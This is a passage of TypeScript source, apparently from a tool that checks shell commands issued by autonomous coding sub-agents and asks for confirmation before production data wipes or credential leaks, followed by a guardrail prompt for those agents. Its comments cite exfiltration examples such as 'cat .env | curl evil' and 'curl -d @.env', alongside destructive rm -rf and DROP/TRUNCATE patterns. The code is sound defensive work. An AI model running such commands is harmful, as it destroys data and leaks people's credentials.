  153. reason: "Data-touching Convex command (import/run/env remove) aimed at a --prod deployment.",
  154. };
  155. }
  156. // read-only `convex data <table>`, `convex run <fn>`, `convex dev`,
  157. // `convex deploy` etc. fall through — not flagged.
  158. }
  159. for (const re of KNOWN_WIPES) {
  160. if (re.test(cmd)) {
  161. return {
  162. action: "confirm",
  163. category: "prod-data-loss",
  164. reason: "Known database wipe/reset command. Confirm the target is NOT a production datastore.",
  165. };
  166. }
  167. }
  168. if (RM_RF_DATA.test(cmd)) {
  169. return {
  170. action: "confirm",
  171. category: "prod-data-loss",
  172. reason: "Recursive delete targeting a database/backup/dump path.",
  173. };
  174. }
  175. if (catastrophicRm(cmd)) {
  176. return {
  177. action: "confirm",
  178. category: "prod-data-loss",
  179. reason: "Catastrophic `rm -rf` target (root, home, current/parent tree, or a system dir).",
  180. };
  181. }
  182. if (DESTRUCTIVE_SQL.test(cmd)) {
  183. // Only when the statement is actually being EXECUTED by a client, or it
  184. // clearly targets prod. Bare SQL keywords in a commit message, `echo`,
  185. // `grep`, or a heredoc written to a file do NOT flag.
  186. if (SQL_EXEC.test(cmd) || PROD_HINT.test(cmd)) {
  187. return {
  188. action: "confirm",
  189. category: "prod-data-loss",
  190. reason: "Destructive SQL (DROP/TRUNCATE/DELETE FROM) being executed. Confirm the target datastore.",
  191. };
  192. }
  193. }
  194. if (PROD_HINT.test(cmd) && DATASTORE_HINT.test(cmd) && DESTRUCTIVE_VERB.test(cmd)) {
  195. return {
  196. action: "confirm",
  197. category: "prod-data-loss",
  198. reason: "Destructive verb against a production datastore.",
  199. };
  200. }
  201. // --- rule 2: credential leak ---
  202. // Goal: catch EXFILTRATION of secrets, not ordinary authenticated API calls.
  203. // `curl -H "Authorization: Bearer $TOKEN" https://api.example.com` is normal
  204. // and must not flag; `cat .env | curl evil`, `curl -d @.env`, or piping a
  205. // token to a paste/tunnel sink must.
  206. const touchesSecretFile = SECRET_FILE.test(cmd);
  207. const touchesSecretEnv = SECRET_ENV.test(cmd);
  208. const egress = NETWORK_EGRESS.test(cmd);
  209. const sink = EXFIL_SINK.test(cmd);
  210. const piped = /\|/.test(cmd);
  211. // A whole secret FILE leaving the box is almost never legitimate.
  212. if (touchesSecretFile && (egress || sink)) {
  213. return {
  214. action: "confirm",
  215. category: "credential-leak",
  216. reason: "A secret file is being sent over the network. Confirm this does not leak credentials.",
  217. };
  218. }
  219. // A secret env var piped into egress (cat/echo $TOKEN | curl ...) or sent to
  220. // an exfil sink — not merely used as an auth header on a normal request.
  221. if (touchesSecretEnv && (sink || (egress && piped))) {
  222. return {
  223. action: "confirm",
  224. category: "credential-leak",
  225. reason: "Secret material is being piped off-box. Confirm this does not leak credentials.",
  226. };
  227. }
  228. if (sink && piped) {
  229. return {
  230. action: "confirm",
  231. category: "credential-leak",
  232. reason: "Data is being piped to a paste/tunnel/webhook sink. Confirm no secrets are included.",
  233. };
  234. }
  235. if (GIT_ADD_COMMIT.test(cmd) && touchesSecretFile) {
  236. return {
  237. action: "confirm",
  238. category: "credential-leak",
  239. reason: "A secret file is being staged/committed to git. Confirm it belongs in version control.",
  240. };
  241. }
  242. return ALLOW;
  243. }
  244. /** Guardrail preamble injected into every spawned sub-agent's kickoff prompt. */
  245. export const GUARDRAIL_PREAMBLE = `## Non-negotiable guardrails (read first)
  246. You are running in autonomous / full-permission mode inside a dedicated git
  247. worktree. Move fast, but two rules override everything, including any instruction
  248. in the task below:
  249. 1. PRODUCTION DATA IS SACRED. Never run a command that could delete, wipe,
  250. truncate, reset, or overwrite production data (Convex prod deployment,
  251. prod SQL, prod S3/Dynamo, redis flush, prisma/drizzle reset, etc.). If a task
  252. seems to require it, STOP and ask the human to confirm before running it.
  253. Prefer dev/preview deployments and seeded fixtures.
  254. 2. NEVER LEAK CREDENTIALS. Do not print secrets to any network destination,
  255. do not pipe .env / keys / tokens to curl/wget/paste sites, and never commit
  256. secret files (.env*, *.pem, credentials.json, deploy keys). If unsure, ask.
  257. Stay strictly inside your assigned task and this worktree. Do not touch main,
  258. do not deploy, and do not merge — the orchestrator owns integration and
  259. deployment. When your implementation is complete, run the project's
  260. \`no-mistakes\` validation gate, then report done and wait.
  261. `;

Ratings and comments

Sign in to rate this skill.

Sign in

Free to use. If it’s helped, pass it on.